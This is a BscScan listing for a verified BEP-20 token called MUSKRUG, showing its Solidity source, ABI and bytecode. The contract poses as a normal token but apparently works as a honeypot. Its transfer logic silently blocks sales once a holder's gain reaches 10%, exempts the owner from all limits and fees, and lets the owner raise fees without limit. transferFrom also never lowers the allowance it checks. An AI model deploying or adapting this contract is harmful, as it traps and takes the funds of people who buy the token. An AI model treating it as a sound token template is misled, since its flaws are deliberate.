BEP-20
Source Code
Overview
Max Total Supply
1,000,000MUSKRUG
Holders
196
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
Token
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/**
*Submitted for verification at BscScan.com on 2025-06-21
*/
// File: token new 3/contracts/interfaces/ERC20.sol
pragma solidity 0.8.24;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IERC20Errors {
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
// File: token new 3/contracts/interfaces/PancakeV2.sol
pragma solidity 0.8.24;
interface IPancakeV2Pair is IERC20 {
function factory() external view returns (address);
function token0() external view returns (IERC20);
function token1() external view returns (IERC20);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
// File: token new 3/contracts/libraries/FixedPointMath.sol
pragma solidity 0.8.24;
error FixedPointMathMulDivOverflow(uint256 prod1, uint256 denominator);
uint256 constant SCALE = 1e18;
uint256 constant HALF_SCALE = 5e17;
/// @dev Largest power of two divisor of scale.
uint256 constant SCALE_LPOTD = 262144;
/// @dev Scale inverted mod 2**256.
uint256 constant SCALE_INVERSE =
78156646155174841979727994598816262306175212592076161876661508869554232690281;
uint256 constant LOG2_E = 1_442695040888963407;
function mul(uint256 a, uint256 b) pure returns (uint256 result) {
uint256 prod0;
uint256 prod1;
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 >= SCALE) {
revert FixedPointMathMulDivOverflow(prod1, SCALE);
}
uint256 remainder;
uint256 roundUpUnit;
assembly {
remainder := mulmod(a, b, SCALE)
roundUpUnit := gt(remainder, 499999999999999999)
}
if (prod1 == 0) {
assembly {
result := add(div(prod0, SCALE), roundUpUnit)
}
return result;
}
assembly {
result := add(
mul(
or(
div(sub(prod0, remainder), SCALE_LPOTD),
mul(sub(prod1, gt(remainder, prod0)), add(div(sub(0, SCALE_LPOTD), SCALE_LPOTD), 1))
),
SCALE_INVERSE
),
roundUpUnit
)
}
}
function div(uint256 a, uint256 b) pure returns (uint256 result) {
result = mulDiv(a, SCALE, b);
}
/// @notice Calculates ⌊a × b ÷ denominator⌋ with full precision.
/// @dev Credit to Remco Bloemen under MIT license https://2π.com/21/muldiv.
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) pure returns (uint256 result) {
uint256 prod0;
uint256 prod1;
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 >= denominator) {
revert FixedPointMathMulDivOverflow(prod1, denominator);
}
if (prod1 == 0) {
assembly {
result := div(prod0, denominator)
}
return result;
}
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
unchecked {
uint256 lpotdod = denominator & (~denominator + 1);
assembly {
denominator := div(denominator, lpotdod)
prod0 := div(prod0, lpotdod)
lpotdod := add(div(sub(0, lpotdod), lpotdod), 1)
}
prod0 |= prod1 * lpotdod;
uint256 inverse = (3 * denominator) ^ 2;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
result = prod0 * inverse;
}
}
// File: token new 3/contracts/libraries/PancakeV2.sol
pragma solidity 0.8.24;
error PancakeLibraryIdenticalAddresses(address account);
error PancakeLibraryZeroAddress();
bytes32 constant PAIR_INIT_CODE_HASH = 0x00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5;
address constant FACTORY_ADDRESS = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
function sortTokens(address tokenA, address tokenB) pure returns (address token0, address token1) {
if (tokenA == tokenB) {
revert PancakeLibraryIdenticalAddresses(tokenA);
}
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
if (token0 == address(0)) {
revert PancakeLibraryZeroAddress();
}
}
function pairFor(
address tokenA,
address tokenB
) pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
FACTORY_ADDRESS,
keccak256(abi.encodePacked(token0, token1)),
PAIR_INIT_CODE_HASH
)
)
)
)
);
}
function getReserves(
IPancakeV2Pair pair
) view returns (uint256 reserveA, uint256 reserveB) {
if (address(pair).code.length == 0) {
return (reserveA, reserveB);
}
(reserveA, reserveB, ) = pair.getReserves();
return (reserveA, reserveB);
}
// File: token new 3/contracts/Token.sol
pragma solidity 0.8.24;
contract Token is IERC20, IERC20Errors {
using { div, mulDiv } for uint256;
address public immutable owner;
uint256 public totalSupply;
mapping(address account => uint256 balance) public balanceOf;
mapping(address owner => mapping(address spender => uint256 amount)) public allowance;
mapping(address account => uint256 price) public prices;
address public token = 0x55d398326f99059fF775485246999027B3197955;
IPancakeV2Pair public pair;
uint256 public maxAllowedProfit = 10; // %
uint256 public fee = 3; // %
error OnlyOwnerAllowedToCall();
modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwnerAllowedToCall();
}
_;
}
constructor() {
owner = msg.sender;
pair = IPancakeV2Pair(pairFor(address(this), token));
uint256 amount = 1_000_000 ether;
balanceOf[msg.sender] = amount;
totalSupply = amount;
emit Transfer(address(0), msg.sender, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
if (from != msg.sender) {
uint256 _allowance = allowance[from][msg.sender];
if(_allowance < amount) {
revert ERC20InsufficientAllowance(msg.sender, _allowance, amount);
}
}
return _transfer(from, to, amount);
}
function transfer(address to, uint256 amount) external returns (bool) {
return _transfer(msg.sender, to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
if (spender == address(0)) {
revert ERC20InvalidSpender(spender);
}
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function setToken(address _token) external onlyOwner {
token = _token;
pair = IPancakeV2Pair(pairFor(address(this), token));
}
function setMaxAllowedProfit(uint256 _maxAllowedProfit) external onlyOwner {
maxAllowedProfit = _maxAllowedProfit;
}
function setFee(uint256 _fee) external onlyOwner {
fee = _fee;
}
function name() external pure returns (string memory) {
return "MUSKRUG";
}
function symbol() external pure returns (string memory) {
return "MUSKRUG";
}
function decimals() external pure returns (uint8) {
return 18;
}
function _transfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
if (to == address(0)) {
revert ERC20InvalidReceiver(to);
}
uint256 balance = balanceOf[from];
if (balance < amount) {
revert ERC20InsufficientBalance(from, balance, amount);
}
uint256 price0;
if (from == address(pair) || to == address(pair)) {
(uint256 reserveA, uint256 reserveB) = getReserves(pair);
if (address(this) < token) {
if (reserveA > 0) {
price0 = reserveB.div(reserveA);
}
} else {
if (reserveB > 0) {
price0 = reserveA.div(reserveB);
}
}
}
if (from == address(pair)) {
prices[to] = price0;
}
if (to == address(pair) && from != owner) {
uint256 price1 = prices[from];
if (price0 > price1 && price1 > 0) {
uint256 delta = price0 - price1;
uint256 profit = delta.mulDiv(10 ** 2, price1);
if (profit >= maxAllowedProfit) {
return false;
}
}
}
unchecked {
balanceOf[from] -= amount;
}
uint256 buyFee;
uint256 sellFee;
if (from == address(pair) && to != owner) {
buyFee = amount.mulDiv(fee, 10 ** 2);
}
if (from != owner && to == address(pair)) {
sellFee = amount.mulDiv(fee, 10 ** 2);
}
uint256 totalFee = buyFee + sellFee;
if (totalFee > 0) {
balanceOf[owner] += totalFee;
amount -= totalFee;
emit Transfer(to, owner, totalFee);
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"uint256","name":"prod1","type":"uint256"},{"internalType":"uint256","name":"denominator","type":"uint256"}],"name":"FixedPointMathMulDivOverflow","type":"error"},{"inputs":[],"name":"OnlyOwnerAllowedToCall","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"PancakeLibraryIdenticalAddresses","type":"error"},{"inputs":[],"name":"PancakeLibraryZeroAddress","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxAllowedProfit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"contract IPancakeV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"prices","outputs":[{"internalType":"uint256","name":"price","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxAllowedProfit","type":"uint256"}],"name":"setMaxAllowedProfit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"setToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60a0604052600480546001600160a01b0319167355d398326f99059ff775485246999027b3197955179055600a600655600360075534801561003f575f80fd5b503360805260045461005b9030906001600160a01b03166100d8565b600580546001600160a01b0319166001600160a01b0392909216919091179055335f81815260016020908152604080832069d3c21bcecceda1000000908190558084559051818152909392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350610256565b5f80806100e585856101bd565b604080516001600160601b0319606094851b81166020808401919091529390941b9093166034840152805180840360280181526048840182528051908301207fff0000000000000000000000000000000000000000000000000000000000000060688501527fca143ce32fe78f1f7019d7d551a6402fc5350c730000000000000000000000006069850152607d8401527efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5609d808501919091528151808503909101815260bd9093019052815191012095945050505050565b5f80826001600160a01b0316846001600160a01b0316036102005760405163389b62c760e01b81526001600160a01b038516600482015260240160405180910390fd5b826001600160a01b0316846001600160a01b031610610220578284610223565b83835b90925090506001600160a01b03821661024f5760405163338204fb60e01b815260040160405180910390fd5b9250929050565b608051610e1a6102a65f395f818161020a015281816102da015281816103c4015281816104d50152818161074c0152818161081a01528181610869015281816108eb015261093c0152610e1a5ff3fe608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e578063a9059cbb1161006e578063a9059cbb14610257578063cfed246b1461026a578063dd62ed3e14610289578063ddca3f43146102b3578063fc0c546a146102bc575f80fd5b806370a08231146101e65780638da5cb5b1461020557806395d89b411461012a578063a8aa1b3114610244575f80fd5b806318160ddd116100e457806318160ddd1461019257806323b872dd146101a8578063313ce567146101bb57806367e96a59146101ca57806369fe0e2d146101d3575f80fd5b80630226d43d1461011557806306fdde031461012a578063095ea7b31461015c578063144fa6d71461017f575b5f80fd5b610128610123366004610c1f565b6102cf565b005b60408051808201825260078152664d55534b52554760c81b602082015290516101539190610c36565b60405180910390f35b61016f61016a366004610c9d565b61031d565b6040519015158152602001610153565b61012861018d366004610cc5565b6103b9565b61019a5f5481565b604051908152602001610153565b61016f6101b6366004610cde565b61044e565b60405160128152602001610153565b61019a60065481565b6101286101e1366004610c1f565b6104ca565b61019a6101f4366004610cc5565b60016020525f908152604090205481565b61022c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610153565b60055461022c906001600160a01b031681565b61016f610265366004610c9d565b610518565b61019a610278366004610cc5565b60036020525f908152604090205481565b61019a610297366004610d17565b600260209081525f928352604080842090915290825290205481565b61019a60075481565b60045461022c906001600160a01b031681565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610318576040516359660b9b60e11b815260040160405180910390fd5b600655565b5f6001600160a01b03831661035557604051634a1406b160e11b81526001600160a01b03841660048201526024015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610402576040516359660b9b60e11b815260040160405180910390fd5b600480546001600160a01b0319166001600160a01b03831690811790915561042b903090610524565b600580546001600160a01b0319166001600160a01b039290921691909117905550565b5f6001600160a01b03841633146104b5576001600160a01b0384165f908152600260209081526040808320338452909152902054828110156104b357604051637dc7a0d960e11b8152336004820152602481018290526044810184905260640161034c565b505b6104c08484846105ed565b90505b9392505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610513576040516359660b9b60e11b815260040160405180910390fd5b600755565b5f6104c33384846105ed565b5f805f6105318585610a32565b604080516bffffffffffffffffffffffff19606094851b81166020808401919091529390941b9093166034840152805180840360280181526048840182528051908301206001600160f81b0319606885015273ca143ce32fe78f1f7019d7d551a6402fc5350c7360601b6069850152607d8401527efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5609d808501919091528151808503909101815260bd9093019052815191012095945050505050565b5f6001600160a01b0383166106205760405163ec442f0560e01b81526001600160a01b038416600482015260240161034c565b6001600160a01b0384165f90815260016020526040902054828110156106725760405163391434e360e21b81526001600160a01b0386166004820152602481018290526044810184905260640161034c565b6005545f906001600160a01b038781169116148061069d57506005546001600160a01b038681169116145b15610701576005545f9081906106bb906001600160a01b0316610ac7565b60045491935091506001600160a01b03163010156106eb5781156106e6576106e38183610b55565b92505b6106fe565b80156106fe576106fb8282610b55565b92505b50505b6005546001600160a01b0390811690871603610732576001600160a01b0385165f9081526003602052604090208190555b6005546001600160a01b03868116911614801561078157507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b031614155b156107e8576001600160a01b0386165f9081526003602052604090205480821180156107ac57505f81115b156107e6575f6107bc8284610d5c565b90505f6107cb82606485610b65565b905060065481106107e3575f955050505050506104c3565b50505b505b6001600160a01b038087165f8181526001602052604081208054889003905560055490928392911614801561084f57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b031614155b15610867576007546108649087906064610b65565b91505b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b0316141580156108b657506005546001600160a01b038881169116145b156108ce576007546108cb9087906064610b65565b90505b5f6108d98284610d6f565b905080156109a8576001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f9081526001602052604081208054839290610928908490610d6f565b9091555061093890508188610d5c565b96507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161099f91815260200190565b60405180910390a35b6001600160a01b0388165f90815260016020526040812080548992906109cf908490610d6f565b92505081905550876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef89604051610a1b91815260200190565b60405180910390a350600198975050505050505050565b5f80826001600160a01b0316846001600160a01b031603610a715760405163389b62c760e01b81526001600160a01b038516600482015260240161034c565b826001600160a01b0316846001600160a01b031610610a91578284610a94565b83835b90925090506001600160a01b038216610ac05760405163338204fb60e01b815260040160405180910390fd5b9250929050565b5f80826001600160a01b03163b5f03610adf57915091565b826001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610b1b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3f9190610d98565b506001600160701b039182169591169350915050565b5f6104c383670de0b6b3a7640000845b5f80805f19858709858702925082811083820303915050838110610ba65760405163072fa3c960e31b8152600481018290526024810185905260440161034c565b805f03610bb8575082900490506104c3565b5f8486880960026001871981018816978890046003810283188082028403028082028403028082028403028082028403028082028403029081029092039091025f889003889004909101858311909403939093029303949094049190911702949350505050565b5f60208284031215610c2f575f80fd5b5035919050565b5f602080835283518060208501525f5b81811015610c6257858101830151858201604001528201610c46565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c98575f80fd5b919050565b5f8060408385031215610cae575f80fd5b610cb783610c82565b946020939093013593505050565b5f60208284031215610cd5575f80fd5b6104c382610c82565b5f805f60608486031215610cf0575f80fd5b610cf984610c82565b9250610d0760208501610c82565b9150604084013590509250925092565b5f8060408385031215610d28575f80fd5b610d3183610c82565b9150610d3f60208401610c82565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103b3576103b3610d48565b808201808211156103b3576103b3610d48565b80516001600160701b0381168114610c98575f80fd5b5f805f60608486031215610daa575f80fd5b610db384610d82565b9250610dc160208501610d82565b9150604084015163ffffffff81168114610dd9575f80fd5b80915050925092509256fea2646970667358221220a2369661082fc3487243213e9d5899d2cd4b9f5fcdd31951cfd76cf7c489342264736f6c63430008180033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e578063a9059cbb1161006e578063a9059cbb14610257578063cfed246b1461026a578063dd62ed3e14610289578063ddca3f43146102b3578063fc0c546a146102bc575f80fd5b806370a08231146101e65780638da5cb5b1461020557806395d89b411461012a578063a8aa1b3114610244575f80fd5b806318160ddd116100e457806318160ddd1461019257806323b872dd146101a8578063313ce567146101bb57806367e96a59146101ca57806369fe0e2d146101d3575f80fd5b80630226d43d1461011557806306fdde031461012a578063095ea7b31461015c578063144fa6d71461017f575b5f80fd5b610128610123366004610c1f565b6102cf565b005b60408051808201825260078152664d55534b52554760c81b602082015290516101539190610c36565b60405180910390f35b61016f61016a366004610c9d565b61031d565b6040519015158152602001610153565b61012861018d366004610cc5565b6103b9565b61019a5f5481565b604051908152602001610153565b61016f6101b6366004610cde565b61044e565b60405160128152602001610153565b61019a60065481565b6101286101e1366004610c1f565b6104ca565b61019a6101f4366004610cc5565b60016020525f908152604090205481565b61022c7f00000000000000000000000056ecc62f9123f14c9b8f2412c70ea4f0fe1d3d5381565b6040516001600160a01b039091168152602001610153565b60055461022c906001600160a01b031681565b61016f610265366004610c9d565b610518565b61019a610278366004610cc5565b60036020525f908152604090205481565b61019a610297366004610d17565b600260209081525f928352604080842090915290825290205481565b61019a60075481565b60045461022c906001600160a01b031681565b336001600160a01b037f00000000000000000000000056ecc62f9123f14c9b8f2412c70ea4f0fe1d3d531614610318576040516359660b9b60e11b815260040160405180910390fd5b600655565b5f6001600160a01b03831661035557604051634a1406b160e11b81526001600160a01b03841660048201526024015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b336001600160a01b037f00000000000000000000000056ecc62f9123f14c9b8f2412c70ea4f0fe1d3d531614610402576040516359660b9b60e11b815260040160405180910390fd5b600480546001600160a01b0319166001600160a01b03831690811790915561042b903090610524565b600580546001600160a01b0319166001600160a01b039290921691909117905550565b5f6001600160a01b03841633146104b5576001600160a01b0384165f908152600260209081526040808320338452909152902054828110156104b357604051637dc7a0d960e11b8152336004820152602481018290526044810184905260640161034c565b505b6104c08484846105ed565b90505b9392505050565b336001600160a01b037f00000000000000000000000056ecc62f9123f14c9b8f2412c70ea4f0fe1d3d531614610513576040516359660b9b60e11b815260040160405180910390fd5b600755565b5f6104c33384846105ed565b5f805f6105318585610a32565b604080516bffffffffffffffffffffffff19606094851b81166020808401919091529390941b9093166034840152805180840360280181526048840182528051908301206001600160f81b0319606885015273ca143ce32fe78f1f7019d7d551a6402fc5350c7360601b6069850152607d8401527efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5609d808501919091528151808503909101815260bd9093019052815191012095945050505050565b5f6001600160a01b0383166106205760405163ec442f0560e01b81526001600160a01b038416600482015260240161034c565b6001600160a01b0384165f90815260016020526040902054828110156106725760405163391434e360e21b81526001600160a01b0386166004820152602481018290526044810184905260640161034c565b6005545f906001600160a01b038781169116148061069d57506005546001600160a01b038681169116145b15610701576005545f9081906106bb906001600160a01b0316610ac7565b60045491935091506001600160a01b03163010156106eb5781156106e6576106e38183610b55565b92505b6106fe565b80156106fe576106fb8282610b55565b92505b50505b6005546001600160a01b0390811690871603610732576001600160a01b0385165f9081526003602052604090208190555b6005546001600160a01b03868116911614801561078157507f00000000000000000000000056ecc62f9123f14c9b8f2412c70ea4f0fe1d3d536001600160a01b0316866001600160a01b031614155b156107e8576001600160a01b0386165f9081526003602052604090205480821180156107ac57505f81115b156107e6575f6107bc8284610d5c565b90505f6107cb82606485610b65565b905060065481106107e3575f955050505050506104c3565b50505b505b6001600160a01b038087165f8181526001602052604081208054889003905560055490928392911614801561084f57507f00000000000000000000000056ecc62f9123f14c9b8f2412c70ea4f0fe1d3d536001600160a01b0316876001600160a01b031614155b15610867576007546108649087906064610b65565b91505b7f00000000000000000000000056ecc62f9123f14c9b8f2412c70ea4f0fe1d3d536001600160a01b0316886001600160a01b0316141580156108b657506005546001600160a01b038881169116145b156108ce576007546108cb9087906064610b65565b90505b5f6108d98284610d6f565b905080156109a8576001600160a01b037f00000000000000000000000056ecc62f9123f14c9b8f2412c70ea4f0fe1d3d53165f9081526001602052604081208054839290610928908490610d6f565b9091555061093890508188610d5c565b96507f00000000000000000000000056ecc62f9123f14c9b8f2412c70ea4f0fe1d3d536001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161099f91815260200190565b60405180910390a35b6001600160a01b0388165f90815260016020526040812080548992906109cf908490610d6f565b92505081905550876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef89604051610a1b91815260200190565b60405180910390a350600198975050505050505050565b5f80826001600160a01b0316846001600160a01b031603610a715760405163389b62c760e01b81526001600160a01b038516600482015260240161034c565b826001600160a01b0316846001600160a01b031610610a91578284610a94565b83835b90925090506001600160a01b038216610ac05760405163338204fb60e01b815260040160405180910390fd5b9250929050565b5f80826001600160a01b03163b5f03610adf57915091565b826001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610b1b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3f9190610d98565b506001600160701b039182169591169350915050565b5f6104c383670de0b6b3a7640000845b5f80805f19858709858702925082811083820303915050838110610ba65760405163072fa3c960e31b8152600481018290526024810185905260440161034c565b805f03610bb8575082900490506104c3565b5f8486880960026001871981018816978890046003810283188082028403028082028403028082028403028082028403028082028403029081029092039091025f889003889004909101858311909403939093029303949094049190911702949350505050565b5f60208284031215610c2f575f80fd5b5035919050565b5f602080835283518060208501525f5b81811015610c6257858101830151858201604001528201610c46565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c98575f80fd5b919050565b5f8060408385031215610cae575f80fd5b610cb783610c82565b946020939093013593505050565b5f60208284031215610cd5575f80fd5b6104c382610c82565b5f805f60608486031215610cf0575f80fd5b610cf984610c82565b9250610d0760208501610c82565b9150604084013590509250925092565b5f8060408385031215610d28575f80fd5b610d3183610c82565b9150610d3f60208401610c82565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103b3576103b3610d48565b808201808211156103b3576103b3610d48565b80516001600160701b0381168114610c98575f80fd5b5f805f60608486031215610daa575f80fd5b610db384610d82565b9250610dc160208501610d82565b9150604084015163ffffffff81168114610dd9575f80fd5b80915050925092509256fea2646970667358221220a2369661082fc3487243213e9d5899d2cd4b9f5fcdd31951cfd76cf7c489342264736f6c63430008180033
Deployed Bytecode Sourcemap
6779:4617:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8886:130;;;;;;:::i;:::-;;:::i;:::-;;9110:89;9175:16;;;;;;;;;;;-1:-1:-1;;;9175:16:0;;;;9110:89;;;;9175:16;9110:89;:::i;:::-;;;;;;;;8409:312;;;;;;:::i;:::-;;:::i;:::-;;;1354:14:1;;1347:22;1329:41;;1317:2;1302:18;8409:312:0;1189:187:1;8729:149:0;;;;;;:::i;:::-;;:::i;6906:26::-;;;;;;;;;1718:25:1;;;1706:2;1691:18;6906:26:0;1572:177:1;7840:424:0;;;;;;:::i;:::-;;:::i;9306:78::-;;;9374:2;2229:36:1;;2217:2;2202:18;9306:78:0;2087:184:1;7271:36:0;;;;;;9024:78;;;;;;:::i;:::-;;:::i;6939:60::-;;;;;;:::i;:::-;;;;;;;;;;;;;;6867:30;;;;;;;;-1:-1:-1;;;;;2440:32:1;;;2422:51;;2410:2;2395:18;6867:30:0;2276:203:1;7236:26:0;;;;;-1:-1:-1;;;;;7236:26:0;;;8272:129;;;;;;:::i;:::-;;:::i;7100:55::-;;;;;;:::i;:::-;;;;;;;;;;;;;;7006:85;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;7319:22;;;;;;7164:65;;;;;-1:-1:-1;;;;;7164:65:0;;;8886:130;7430:10;-1:-1:-1;;;;;7444:5:0;7430:19;;7426:83;;7473:24;;-1:-1:-1;;;7473:24:0;;;;;;;;;;;7426:83;8972:16:::1;:36:::0;8886:130::o;8409:312::-;8477:4;-1:-1:-1;;;;;8498:21:0;;8494:89;;8543:28;;-1:-1:-1;;;8543:28:0;;-1:-1:-1;;;;;2440:32:1;;8543:28:0;;;2422:51:1;2395:18;;8543:28:0;;;;;;;;8494:89;8605:10;8595:21;;;;:9;:21;;;;;;;;-1:-1:-1;;;;;8595:30:0;;;;;;;;;;;;:39;;;8652:37;1718:25:1;;;8595:30:0;;8605:10;8652:37;;1691:18:1;8652:37:0;;;;;;;-1:-1:-1;8709:4:0;